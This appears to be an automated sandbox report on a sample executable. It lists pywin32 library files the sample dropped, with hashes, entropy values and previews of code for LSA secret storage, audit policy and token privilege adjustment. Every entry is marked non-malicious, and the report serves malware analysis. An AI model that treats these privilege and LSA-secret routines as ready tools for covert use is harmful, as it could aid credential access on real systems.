Preview:	import win32event.import win32security..evt = win32event.CreateEvent(None, 0, 0, None).win32security.LsaRegisterPolicyChangeNotification(. win32security.PolicyNotifyAuditEventsInformation, evt.).print("Waiting for you change Audit policy in Management console ...").ret_code = win32event.WaitForSingleObject(evt, 1000000000).## should come back when you change Audit policy in Management console ....print(ret_code).win32security.LsaUnregisterPolicyChangeNotification(. win32security.PolicyNotifyAuditEventsInformation, evt.).

C:\recover\pw\Lib\site-packages\win32\Demos\security\lsastore.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	472
Entropy (8bit):	4.864220721097227
Encrypted:	false
SSDEEP:	12:4LM8ahSBkwMouLHPooPWBJvFlqo+/vokBLn5SWPooSK+wZ9vn:0aMXuUo+jv7avxUoZNn
MD5:	39AC2663BCC3306EC873C140CAE98CD7
SHA1:	DE14DA2DCEA2D2DCCC06323E81C2C4A58602CD36
SHA-256:	737176D134E0A8117D2AB9539CAB55D7D30BCF7E2ADD7F7C6B3BF65409B8256F
SHA-512:	6F72B6911C916E7DE0FC27F57618464150A2A1934E427B8BBFE1131EC574FFA6619AED33E1583520140B0B66DFB039329B0683AF0FBCD8965B6223A3E54108B3
Malicious:	false
Preview:	import win32security..policy_handle = win32security.GetPolicyHandle("", win32security.POLICY_ALL_ACCESS).privatedata = "some sensitive data".keyname = "tmp".win32security.LsaStorePrivateData(policy_handle, keyname, privatedata).retrieveddata = win32security.LsaRetrievePrivateData(policy_handle, keyname).assert retrieveddata == privatedata..## passing None deletes key.win32security.LsaStorePrivateData(policy_handle, keyname, None).win32security.LsaClose(policy_handle).

C:\recover\pw\Lib\site-packages\win32\Demos\security\query_information.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	791
Entropy (8bit):	4.8217987561958005
Encrypted:	false
SSDEEP:	12:4LzLM4L7+hpoS4ZfpKlzl4ryZCSYyGLPhs0KGbG+Jpt4eWd3uvaCTJTF72pOM:KujqM1l4yHY7sHKvJptn5NTJFipf
MD5:	36AE55ECA7E61DD9D9A9EB3CE6634D26
SHA1:	E8D7F767A8C2F23A7550EC885A9CD2E631D01068
SHA-256:	DFB854F3D6FFBCC306FA74A9F88DAAE17C669C018D1E4A40AD939DA9F497D043
SHA-512:	357D4D360A781292C9DDD89149A446A1909B0DEF0EBE38087A37B3C3F86F708548089B994BF3EFC3953171E44D02C690956848AFEF796EB5D12E303BEF034036
Malicious:	false
Preview:	import win32api.import win32security.import winerror.from ntsecuritycon import *...# This is a Python implementation of win32api.GetDomainName().def GetDomainName():. try:. tok = win32security.OpenThreadToken(win32api.GetCurrentThread(), TOKEN_QUERY, 1). except win32api.error as details:. if details[0] != winerror.ERROR_NO_TOKEN:. raise. # attempt to open the process token, since no thread token. # exists. tok = win32security.OpenProcessToken(win32api.GetCurrentProcess(), TOKEN_QUERY). sid, attr = win32security.GetTokenInformation(tok, TokenUser). win32api.CloseHandle(tok).. name, dom, typ = win32security.LookupAccountSid(None, sid). return dom...if __name__ == "__main__":. print("Domain name is", GetDomainName()).

C:\recover\pw\Lib\site-packages\win32\Demos\security\set_file_audit.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	3372
Entropy (8bit):	5.295959335066199
Encrypted:	false
SSDEEP:	96:J+cKmpPpEf/gnFU3KSb5a89KmZywFVF1f1isGGoa:JzKmVp50b/tV
MD5:	2DB725B308FF772F50BC84EF9809EE40
SHA1:	86ED4BA5FCE949AFCBCA967733867231A023521A
SHA-256:	DBC8B5F7C6D4F28D6506703A110BBD452FB4231B4127281223A44D8E79CE5CFC
SHA-512:	ABAB163113EE68A20BF70B1A89BF01CF3A4EC512F0299B671BF68DBC48BD62F41E052AB8C3EA1EA02C96973A2DF62F51B0BA27BB3A11BE55A20F3B093FC7E89E
Malicious:	false
Preview:	import os..import ntsecuritycon.import win32api.import win32con.import win32file.import win32security.from win32security import (. ACL_REVISION_DS,. CONTAINER_INHERIT_ACE,. DACL_SECURITY_INFORMATION,. GROUP_SECURITY_INFORMATION,. OBJECT_INHERIT_ACE,. OWNER_SECURITY_INFORMATION,. PROTECTED_DACL_SECURITY_INFORMATION,. SACL_SECURITY_INFORMATION,. SE_FILE_OBJECT,.)..## SE_SECURITY_NAME needed to access SACL, SE_RESTORE_NAME needed to change owner to someone other than yourself.new_privs = (. (. win32security.LookupPrivilegeValue("", ntsecuritycon.SE_SECURITY_NAME),. win32con.SE_PRIVILEGE_ENABLED,. ),. (. win32security.LookupPrivilegeValue("", ntsecuritycon.SE_RESTORE_NAME),. win32con.SE_PRIVILEGE_ENABLED,. ),.).ph = win32api.GetCurrentProcess().th = win32security.OpenProcessToken(. ph, win32security.TOKEN_ALL_ACCESS \| win32con.TOKEN_ADJUST_PRIVILEGES.).modified_privs = win32security.AdjustTokenPrivileges(th, 0, new_privs

C:\recover\pw\Lib\site-packages\win32\Demos\security\set_file_owner.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2258
Entropy (8bit):	5.257866200243561
Encrypted:	false
SSDEEP:	24:xIhkp2h2hdh8hLhVJhBhh/zznnPkSubzUrxL+5JwcyM2iUrEkI0B:K2cYjK5rJnhJ3nnPkSqwwXwcyMXUIE
MD5:	FDFAC9188A86C2D91EC792520151731A
SHA1:	CB6EF5643BF3DBCA85EF4001215ABDDECC14D0B3
SHA-256:	CDC4E5B7AE77D537E930D42288E2DA434FB5C7AE2E8FCF6F6CAB433E62100228
SHA-512:	CB0A01D281A0C9D8E273F0D16D3364BE61A034233485B86471FB466DD4151EFDBE3750FED7BD8EC5DD12C29129EF8B93A873BF878A0D58B3B0A6E35C378EB3CC
Malicious:	false
Preview:	fname = r"h:\tmp.txt"..import ntsecuritycon.import win32api.import win32con.import win32file.import win32security..new_privs = (. (. win32security.LookupPrivilegeValue("", ntsecuritycon.SE_SECURITY_NAME),. win32con.SE_PRIVILEGE_ENABLED,. ),. (. win32security.LookupPrivilegeValue("", ntsecuritycon.SE_SHUTDOWN_NAME),. win32con.SE_PRIVILEGE_ENABLED,. ),. (. win32security.LookupPrivilegeValue("", ntsecuritycon.SE_TCB_NAME),. win32con.SE_PRIVILEGE_ENABLED,. ),. (. win32security.LookupPrivilegeValue("", ntsecuritycon.SE_RESTORE_NAME),. win32con.SE_PRIVILEGE_ENABLED,. ),. (. win32security.LookupPrivilegeValue("", ntsecuritycon.SE_TAKE_OWNERSHIP_NAME),. win32con.SE_PRIVILEGE_ENABLED,. ),. (. win32security.LookupPrivilegeValue("", ntsecuritycon.SE_CREATE_PERMANENT_NAME),. win32con.SE_PRIVILEGE_ENABLED,. ),. (. win32security.LookupPrivilegeValue("", "SeEnableDelegatio

C:\recover\pw\Lib\site-packages\win32\Demos\security\set_policy_info.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	965
Entropy (8bit):	5.211924428673646
Encrypted:	false
SSDEEP:	24:1dVaWGkiQ+MpbSBWxGftBaIftBNIfWwr12rNn:1ztpSBHBacBN1A2Bn
MD5:	ECF5691E717B094357E941118E31434C
SHA1:	A6749854996DB82308E0D8C0A3AC1372FC67FF48
SHA-256:	E5D33C48D397F60FF60F9A5C6F0425C4FB2A8669320C8D14ACF4F430C239440A
SHA-512:	3426EE7152F575B329E24B6F2D7FD5C8044DDBDB3A63108235813F523C77020C0303F5F0ED1F25914BF908648F1183700695C728384B41D2225BE4799D11E80F
Malicious:	false
Preview:	import ntsecuritycon.import win32api.import win32file.import win32security..policy_handle = win32security.GetPolicyHandle("rupole", win32security.POLICY_ALL_ACCESS)..event_audit_info = win32security.LsaQueryInformationPolicy(. policy_handle, win32security.PolicyAuditEventsInformation.).print(event_audit_info)..new_audit_info = list(event_audit_info[1]).new_audit_info[win32security.AuditCategoryPolicyChange] = (. win32security.POLICY_AUDIT_EVENT_SUCCESS \| win32security.POLICY_AUDIT_EVENT_FAILURE.).new_audit_info[win32security.AuditCategoryAccountLogon] = (. win32security.POLICY_AUDIT_EVENT_SUCCESS \| win32security.POLICY_AUDIT_EVENT_FAILURE.).new_audit_info[win32security.AuditCategoryLogon] = (. win32security.POLICY_AUDIT_EVENT_SUCCESS \| win32security.POLICY_AUDIT_EVENT_FAILURE.)..win32security.LsaSetInformationPolicy(. policy_handle, win32security.PolicyAuditEventsInformation, (1, new_audit_info).)..win32security.LsaClose(policy_handle).

C:\recover\pw\Lib\site-packages\win32\lib\pycache\pywin32_bootstrap.cpython-310.pyc.29749392

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	497
Entropy (8bit):	5.3767030521884145
Encrypted:	false
SSDEEP:	6:y/+zD+LlUA1pAZVsrPkf0rjyl3KZX43d4AQILXyJ4hs2onBMigt0lBAmG7kAr4uY:Cq+RtWsrPJeMS4OjyJasv6OlBDGgztmm
MD5:	18D3989B3FE5277CA1C6C32EFB8372DC
SHA1:	52EC7F437E68AC368F14F9275AC85236E106542D
SHA-256:	5F12A4DE5189BD069C8274FE10DEEBA80AC0C051498493E548BE3F63DFB27D1F
SHA-512:	79A19FD0472F78C3139F01419F6E2D314A621DA2CA22ABD37589037B4A2FDD1F0BB58335996FFD131FC7CF7D953855E80C1663604245F677AAD57E208A5DAFE7
Malicious:	false
Preview:	o.........Sg.........................@...s....z.d.d.l.Z.W.n...e.y.......Y.d.S.w.d.d.l.Z.e.j.D.]<Z.e.j...e...rTe.e.d...r-e...e.......d.S.e.j.d.....e...sQe.j.d.....e.j.e...d...e.j.d.<.e.e.j...e.j.d.....e.j.d.<...d.S.q.d.S.)......N..add_dll_directory..PATH..).Z.pywin32_system32..ImportError..os..__path__..path..isdir..hasattrr......environ..startswith..replace..pathsep..r....r.....>C:\recover\pw\lib\site-packages\win32\lib\pywin32_bootstrap.py..<module>....s".....................................

C:\recover\pw\Lib\site-packages\win32com\init.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script text executable Python script, ASCII text executable
Category:	dropped
Size (bytes):	4883
Entropy (8bit):	4.663042468205077
Encrypted:	false
SSDEEP:	96:mg3XUOq2MdUqRRc+zkgL3TRF5iIyaOrnEbM/+N:moXrq2MdJRK8
MD5:	6A55DA3604C17E67D8CF46B93E6C1B7A
SHA1:	7E4061CE32AB9265BA5C8A4D0567CA02FDF799E2
SHA-256:	B850316AAC162BE68966A1042857D8ACEBB5576758ED7AEA38026B13B24F3F15
SHA-512:	A937E6582C9AC2A73FD4CF664A058B75D5A790E5BA9285AA3876E5FF860C8397ECE41173EEE73B9EF955F857E04AD0023E62D475CC454BBF97F41DCB925D25C6
Malicious:	false
Preview:	#.# Initialization for the win32com package.#..import os.import sys..import pythoncom.import win32api..# flag if we are in a "frozen" build.._frozen = getattr(sys, "frozen", 1 == 0).# pythoncom dumbly defaults this to zero - we believe sys.frozen over it..if _frozen and not getattr(pythoncom, "frozen", 0):. pythoncom.frozen = sys.frozen..# Add support for an external "COM Extensions" path..# Concept is that you can register a seperate path to be used for.# COM extensions, outside of the win32com directory. These modules, however,.# look identical to win32com built-in modules..# This is the technique that we use for the "standard" COM extensions..# eg "win32com.mapi" or "win32com.axscript" both work, even though they do not.# live under the main win32com directory..__gen_path__ = "".__build_path__ = None.### TODO - Load _all_ \\Extensions subkeys - for now, we only read the default.### Modules will work if loaded into "win32comext" path....def SetupEnvironment():. HKEY_LOCA

C:\recover\pw\Lib\site-packages\win32com\server\init.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	50
Entropy (8bit):	4.29082650068666
Encrypted:	false
SSDEEP:	3:SN7cF55IbMCwmF37Uuvn:SNwCwy37Uuv
MD5:	82A4AC7481C3360B6A75C3EC790E0B2F
SHA1:	43DFD78709CFC4F5120F5409A1159170007CD5DD
SHA-256:	5837731C114E3B7C978F01D6230282A5A85EB16B6CB085882535518C2B58A0BB
SHA-512:	4516B83B661F587899B7D269FB815C3D4F84037F105830EEB44F3E52461DAF2E7F05ABBA1E33B4C20CAC655E2729B3409FC90072066166646788A4D82857CDBE
Malicious:	false
Preview:	# Empty __init__ file to designate a sub-package..

C:\recover\pw\Lib\site-packages\win32com\server\connect.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	2780
Entropy (8bit):	4.553893776894134
Encrypted:	false
SSDEEP:	48:plZbTZ+1Xlh4ltllXlD/PDlIeXlhdXlKSXlYXlmgxDXlZlLjEEG/J1S5CJ8lXlaC:pHZElCltl9lTLlfljlKslSlmghlZlENQ
MD5:	396562952093B33EA5240C8BC6E0FFC8
SHA1:	BDB107892B56BF58C3A2993F4719786789A7627F
SHA-256:	9C7EC4B7878A83182038EAA856F3EA2F8C405F6FD5DF8F8CF63AA0566CFF2D8E
SHA-512:	879AF1EC5FEEC33B9502AF7319F56B85D101FB29F315443D2C17B92607A3A590CA7A689FB3576F30B8C8905AA3ABA75EB1A5C90910400FAD534D9DF083F157AA
Malicious:	false
Preview:	"""Utilities for Server Side connections... A collection of helpers for server side connection points..""".import pythoncom.import win32com.server.util.import winerror.from win32com import olectl..from .exception import Exception..# Methods implemented by the interfaces..IConnectionPointContainer_methods = ["EnumConnectionPoints", "FindConnectionPoint"].IConnectionPoint_methods = [. "EnumConnections",. "Unadvise",. "Advise",. "GetConnectionPointContainer",. "GetConnectionInterface",.]...class ConnectableServer:. _public_methods_ = IConnectionPointContainer_methods + IConnectionPoint_methods. _com_interfaces_ = [. pythoncom.IID_IConnectionPoint,. pythoncom.IID_IConnectionPointContainer,. ].. # Clients must set _connect_interfaces_ = [...]. def __init__(self):. self.cookieNo = 0. self.connections = {}.. # IConnectionPoint interfaces. def EnumConnections(self):. raise Exception(winerror.E_NOTIMPL).. def GetConnecti

C:\recover\pw\Lib\site-packages\win32com\server\dispatcher.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	9975
Entropy (8bit):	4.595107747090245
Encrypted:	false
SSDEEP:	192:4i9MMxb7wjBfGujx6rMAwOw6gjRm5OMBjfydYR5hjnf:4i99xRodJ6Lf
MD5:	96AD74AB698B539ED8116C23BB65DCB9
SHA1:	4841F432849C161B8F7D82B7FA419EA6815EB956
SHA-256:	9407FD5B735C360346663A5D84E214D49867A71FBC7FC8981C3295BA630C0D9F
SHA-512:	CBCA45D7AFDEB60590C9DBC6690BAD76B06079ACBBB3331612A735D350E4455177B92EA79CFF8E4D738CD35849B3C1B125B2B2FD1CB60BCDA4B748F42D8E67AE
Malicious:	false
Preview:	"""Dispatcher..Please see policy.py for a discussion on dispatchers and policies.""".import traceback.from sys import exc_info..import pythoncom.import win32api.import win32com..#.from win32com.server.exception import IsCOMServerException.from win32com.util import IIDToInterfaceName...class DispatcherBase:. """The base class for all Dispatchers... This dispatcher supports wrapping all operations in exception handlers,. and all the necessary delegation to the policy... This base class supports the printing of "unexpected" exceptions. Note, however,. that exactly where the output of print goes may not be useful! A derived class may. provide additional semantics for this.. """.. def __init__(self, policyClass, object):. self.policy = policyClass(object). # The logger we should dump to. If None, we should send to the. # default location (typically 'print'). self.logger = getattr(win32com, "logger", None).. # Note the "return self._H

C:\recover\pw\Lib\site-packages\win32com\server\exception.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	3496
Entropy (8bit):	4.582156737415511
Encrypted:	false
SSDEEP:	96:Y++AYcGgH1ErYMx+bwFvIZBWuDs+IS7INXN87n:Y++RcGEErYMx+bw5IZBpAtdQn
MD5:	2D6CEA590F0A95EA2A0DB27A216F4195
SHA1:	0C7EEEE558751176B574B8CD278D00B6AEC61C3A
SHA-256:	14F17FE2B55FDC8D3B8362F975DC24888585B9ADE97D92F458EA2BB9CDB9A38B
SHA-512:	0578DF531158C75AC232329773245342E0D27CA5F8E4EBC3F6C1A77E214A7BF04DC0FF1DFB78ACC1C910C351F0F04AB668F45268E30BAD3300975B3C735912CC
Malicious:	false
Preview:	"""Exception Handling.. Exceptions... To better support COM exceptions, the framework allows for an instance to be.. raised. This instance may have a certain number of known attributes, which are.. translated into COM exception details..... This means, for example, that Python could raise a COM exception that includes details.. on a Help file and location, and a description for the user..... This module provides a class which provides the necessary attributes...""".import sys..import pythoncom...# Note that we derive from com_error, which derives from exceptions.Exception.# Also note that we dont support "self.args", as we dont support tuple-unpacking.class COMException(pythoncom.com_error):. """An Exception object that is understood by the framework... If the framework is presented with an exception of type class,. it looks for certain known attributes on this class to provide rich. error information to the caller... It should be noted that the framework supports provi

C:\recover\pw\Lib\site-packages\win32com\server\factory.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	850
Entropy (8bit):	4.815862014888664
Encrypted:	false
SSDEEP:	24:/QNX5gdGqRokVs8c86r5VrIgyXDe+5trM:IF5gpRoOOrjrHEDxtrM
MD5:	5683E97DCD5F29A47F276FA99CDF7B3D
SHA1:	818F22170F5F2EF06D3E9E25B116640988AC780E
SHA-256:	921B1941F622F5C5A5D7C6189F4886A4CF6D95771AC0908BCAC72A36CFAEF9E1
SHA-512:	CF477E6DDA4BB34FB1ED41D3B107EFAF43450FC3CC836910CC4F517F86A099572E44D3B23D8507337D12368C3910147948785E7AABCEC8ADFA50BFA540F2FE00
Malicious:	false
Preview:	# Class factory utilities..import pythoncom...def RegisterClassFactories(clsids, flags=None, clsctx=None):. """Given a list of CLSID, create and register class factories... Returns a list, which should be passed to RevokeClassFactories. """. if flags is None:. flags = pythoncom.REGCLS_MULTIPLEUSE \| pythoncom.REGCLS_SUSPENDED. if clsctx is None:. clsctx = pythoncom.CLSCTX_LOCAL_SERVER. ret = []. for clsid in clsids:. # Some server append '-Embedding' etc. if clsid[0] not in ["-", "/"]:. factory = pythoncom.MakePyFactory(clsid). regId = pythoncom.CoRegisterClassObject(clsid, factory, clsctx, flags). ret.append((factory, regId)). return ret...def RevokeClassFactories(infos):. for factory, revokeId in infos:. pythoncom.CoRevokeClassObject(revokeId).

C:\recover\pw\Lib\site-packages\win32com\server\localserver.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	1194
Entropy (8bit):	4.976463880953823
Encrypted:	false
SSDEEP:	24:qEDDboYs/8GX9lwQGZLTqtxU8R76HPMX5h48yaaI12pFu2aBpNC:6ZXzwNZCtGU76vW5h/H2pFuri
MD5:	01E7B6FDA3635ABB6DAEEE50CDEED9F7
SHA1:	E41B28638F8A3EECB8D55F89EF9EA02A724CCED1
SHA-256:	EA66C96F055172DE3900929BF21D25CF9A97B207D5009AAF164BB6E7F6BAD10E
SHA-512:	62E01CAF0ADC3DF9CCCD45AE56A653B1DCAF5C8767BFDB8C81199DFBB8DAA83B19A78AC0F20D8D88B82CE947E2125DADDADDF46E8F83858A4A94736F4EEC9780
Malicious:	false
Preview:	# LocalServer .EXE support for Python..#.# This is designed to be used as a _script_ file by pythonw.exe.#.# In some cases, you could also use Python.exe, which will create.# a console window useful for debugging..#.# NOTE: When NOT running in any sort of debugging mode,.# 'print' statements may fail, as sys.stdout is not valid!!!..#.# Usage:.# wpython.exe LocalServer.py clsid [, clsid].import sys..sys.coinit_flags = 2.import pythoncom.import win32api.from win32com.server import factory..usage = """\.Invalid command line arguments..This program provides LocalServer COM support.for Python COM objects...It is typically run automatically by COM, passing as arguments.The ProgID or CLSID of the Python Server(s) to be hosted."""...def serve(clsids):. infos = factory.RegisterClassFactories(clsids).. pythoncom.EnableQuitMessage(win32api.GetCurrentThreadId()). pythoncom.CoResumeClassObjects().. pythoncom.PumpMessages().. factory.RevokeClassFactories(infos).. pythoncom.CoUnini

C:\recover\pw\Lib\site-packages\win32com\server\policy.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	33141
Entropy (8bit):	4.593543235743787
Encrypted:	false
SSDEEP:	384:J5/q7N12KNQZlYN0wyC+NIW59VEERVLdrW0o2nBiUtv4xVCiDc:J5/qpkKulI+jW0o+vv4/o
MD5:	639A66364D8B6CA5B7E57BCAA86107CD
SHA1:	0961CA6A02895FEA1DB40C5B4EE82EE8EE90075F
SHA-256:	9978C536B37B9F73512A91D0E3FC99F55D1FED91FAFCB17AFA68E9F2BC5744E9
SHA-512:	E72F03CECD540C6006DA8CEFA4896709FB2F13AFD5CC9C492511725939974D6D21E7C9E74B0C7386DDE08114D24E05ABD72F166B5DF8C3EBE367CAD021AD820D
Malicious:	false
Preview:	"""Policies ..Note that Dispatchers are now implemented in "dispatcher.py", but.are still documented here...Policies.. A policy is an object which manages the interaction between a public . Python object, and COM . In simple terms, the policy object is the . object which is actually called by COM, and it invokes the requested . method, fetches/sets the requested property, etc. See the . @win32com.server.policy.CreateInstance@ method for a description of. how a policy is specified or created... Exactly how a policy determines which underlying object method/property . is obtained is up to the policy. A few policies are provided, but you . can build your own. See each policy class for a description of how it . implements its policy... There is a policy that allows the object to specify exactly which . methods and properties will be exposed. There is also a policy that . will dynamically expose all Python methods and properties - even those . added after the object has been instantiat

C:\recover\pw\Lib\site-packages\win32com\server\register.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	25076
Entropy (8bit):	4.659547425005804
Encrypted:	false
SSDEEP:	384:7NT/CaIamuUGpr4ou56hqhmVyVqaxu+HgDFXwx/D9kkUkPl:7NT/GGpK5iqkVyV/xDupw9D9GkPl
MD5:	DC199C2F6BB9103A9D81A4FA4E90DF3D
SHA1:	B9741C7736A308334AEFE4AE425E298E99494AAE
SHA-256:	8D20A25015E4BC54CBFEEC727BFFD53D864D44FCB884C6B03BE6BEA247744AF5
SHA-512:	33328D661889C48B2767C400C31013402DED7D57B5C8F1FAA17C3BFF7EA2EA7024DFF0D1DFAEF6A124AB9FAA5A342805B880219BF6EA597A48C58A2221DB43F3
Malicious:	false
Preview:	"""Utilities for registering objects...This module contains utility functions to register Python objects as.valid COM Servers. The RegisterServer function provides all information.necessary to allow the COM framework to respond to a request for a COM object,.construct the necessary Python object, and dispatch COM events...""".import os.import sys..import pythoncom.import win32api.import win32con.import winerror..CATID_PythonCOMServer = "{B3EF80D0-68E2-11D0-A689-00C04FD658FF}"...def _set_subkeys(keyName, valueDict, base=win32con.HKEY_CLASSES_ROOT):. hkey = win32api.RegCreateKey(base, keyName). try:. for key, value in valueDict.items():. win32api.RegSetValueEx(hkey, key, None, win32con.REG_SZ, value). finally:. win32api.RegCloseKey(hkey)...def _set_string(path, value, base=win32con.HKEY_CLASSES_ROOT):. "Set a string value in the registry.".. win32api.RegSetValue(base, path, win32con.REG_SZ, value)...def _get_string(path, base=win32con.HKEY_CLASSES

C:\recover\pw\Lib\site-packages\win32com\server\util.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	6702
Entropy (8bit):	4.682014380050602
Encrypted:	false
SSDEEP:	192:zbQehv+u6tEWC62LI2nTprmqQZuJqYHN6VNYxA7wd:HB+t46MI2lrmqQZuJqYHGNefd
MD5:	15D42CC3F4D36665BC50CEE6B3231E75
SHA1:	E5615F3EB48FEBAA76B1E7B7B274C202BD76D324
SHA-256:	0D8E925E710539EAFCCA76510034C2A046AA0F35B1CF557E7C5FE40A9BFE72BE
SHA-512:	658CE11A42C81C6BEB8B67CA016D590A99E6B858970C6B577BA2E464607CC621A7EA5F8FC9C00EDA0446C89C0D6281B346B3700A71EFD86F5E5C0127AB90BE61
Malicious:	false
Preview:	""" General Server side utilities .""".import pythoncom.import winerror..from . import policy.from .exception import COMException...def wrap(ob, iid=None, usePolicy=None, useDispatcher=None):. """Wraps an object in a PyGDispatch gateway... Returns a client side PyI{iid} interface... Interface and gateway support must exist for the specified IID, as. the QueryInterface() method is used... """. if usePolicy is None:. usePolicy = policy.DefaultPolicy. if useDispatcher == 1: # True will also work here.. import win32com.server.dispatcher.. useDispatcher = win32com.server.dispatcher.DefaultDebugDispatcher. if useDispatcher is None or useDispatcher == 0:. ob = usePolicy(ob). else:. ob = useDispatcher(usePolicy, ob).. # get a PyIDispatch, which interfaces to PyGDispatch. ob = pythoncom.WrapObject(ob). if iid is not None:. ob = ob.QueryInterface(iid) # Ask the PyIDispatch if it supports it?. return ob...def unwra

C:\recover\pw\Lib\site-packages\win32com\servers\PythonTools.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	1178
Entropy (8bit):	4.426483796070394
Encrypted:	false
SSDEEP:	24:kG788TbzrcW/r7FZybFrKwipwBX4C77F3ugx9/HCZLG/h6eTerrNiXZM/2X6H/a+:kG788fzrcWD7FAbFrkOh4qTxi1k6e6Hj
MD5:	B06CC9A0DBAB570B5DB41637E1AD6573
SHA1:	81FADB18B9198660C1498BE715131A482310C0DB
SHA-256:	114DE154A15223D1AAD50FCCFF02493C796BF367F09E18130C8F2DD39BEBCA1B
SHA-512:	CB149B96E16445EEE13CAA1618FB4A0A07AB0D79A9DF317CDC0DDB649D593389E1F5682FA973FDAEB415F7277E1527CB23C4051A6D244BB60DC3E376ABF6CFDF
Malicious:	false
Preview:	import sys.import time...class Tools:. _public_methods_ = ["reload", "adddir", "echo", "sleep"].. def reload(self, module):. if module in sys.modules:. from importlib import reload.. reload(sys.modules[module]). return "reload succeeded.". return "no reload performed.".. def adddir(self, dir):. if type(dir) == type(""):. sys.path.append(dir). return str(sys.path).. def echo(self, arg):. return repr(arg).. def sleep(self, t):. time.sleep(t)...if __name__ == "__main__":. from win32com.server.register import RegisterServer, UnregisterServer.. clsid = "{06ce7630-1d81-11d0-ae37-c2fa70000000}". progid = "Python.Tools". verprogid = "Python.Tools.1". if "--unregister" in sys.argv:. print("Unregistering..."). UnregisterServer(clsid, progid, verprogid). print("Unregistered OK"). else:. print("Registering COM server..."). RegisterServer(.

C:\recover\pw\Lib\site-packages\win32com\servers\dictionary.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	4463
Entropy (8bit):	4.745656083351947
Encrypted:	false
SSDEEP:	96:Nce3k70ArkQThivNM1/vNMpU81BALecPRvHrl04rOpFCnlN/w:NcG+d4u13u+LRpCFCnlhw
MD5:	EB469879CD0B5D622321D44327FF67C7
SHA1:	EC40C6F0114B449480B576CDE088235946C70372
SHA-256:	F3A6EC518C93D52BEF1AEB589EA369008A8072F959F85341BAF8D4BE2CE45F29
SHA-512:	D94BD462CA97223AEE52EF14DBBCD78835D588F5B1959169DE8E013990E408DD4FB0A0A30DE0A13585676D7B726D34B2F9E32157C50F87CFE08D4CE551F0A85D
Malicious:	false
Preview:	"""Python.Dictionary COM Server...This module implements a simple COM server that acts much like a Python.dictionary or as a standard string-keyed VB Collection. The keys of.the dictionary are strings and are case-insensitive...It uses a highly customized policy to fine-tune the behavior exposed to.the COM client...The object exposes the following properties:.. int Count (readonly). VARIANT Item(BSTR key) (propget for Item). Item(BSTR key, VARIANT value) (propput for Item).. Note that 'Item' is the default property, so the following forms of. VB code are acceptable:.. set ob = CreateObject("Python.Dictionary"). ob("hello") = "there". ob.Item("hi") = ob("HELLO")..All keys are defined, returning VT_NULL (None) if a value has not been.stored. To delete a key, simply assign VT_NULL to the key...The object responds to the _NewEnum method by returning an enumerator over.the dictionary's keys. This allows for the following

C:\recover\pw\Lib\site-packages\win32com\servers\interp.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	1664
Entropy (8bit):	4.854103740699842
Encrypted:	false
SSDEEP:	48:FMw3KxRNHwFrJKuXHIvL2n2qcqZLBHUvUVjvIC0u9/w:FM4KxR6FrJKoIzQIqZLBfjQC0u9/w
MD5:	043481AD1E25C1417AE87C27B647F87D
SHA1:	83B216E7DB147EEA48365225668F2B26ABE102AF
SHA-256:	865C5BACB0CD3EBE596AAA08F9DD7D7DDE9B203ACD4A1637E8920ED986555395
SHA-512:	71B9DC8ADBA9ED91E48D49E5A9A5F30F6C74E666CE280E386F23E0FBC6D2EDCB26194B9E7411409886DE71F6DC8CCB78C65DE48223778062604B4EE2F0AF9652
Malicious:	false
Preview:	"""Python.Interpreter COM Server.. This module implements a very very simple COM server which. exposes the Python interpreter... This is designed more as a demonstration than a full blown COM server.. General functionality and Error handling are both limited... To use this object, ensure it is registered by running this module. from Python.exe. Then, from Visual Basic, use "CreateObject('Python.Interpreter')",. and call its methods!."""..import winerror.from win32com.server.exception import Exception...# Expose the Python interpreter..class Interpreter:. """The interpreter object exposed via COM""".. _public_methods_ = ["Exec", "Eval"]. # All registration stuff to support fully automatic register/unregister. _reg_verprogid_ = "Python.Interpreter.2". _reg_progid_ = "Python.Interpreter". _reg_desc_ = "Python Interpreter". _reg_clsid_ = "{30BD3490-2632-11cf-AD5B-524153480001}". _reg_class_spec_ = "win32com.servers.interp.Interpreter".. def __init__(self)

C:\recover\pw\Lib\site-packages\win32com\servers\perfmon.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	1164
Entropy (8bit):	4.9132762177228235
Encrypted:	false
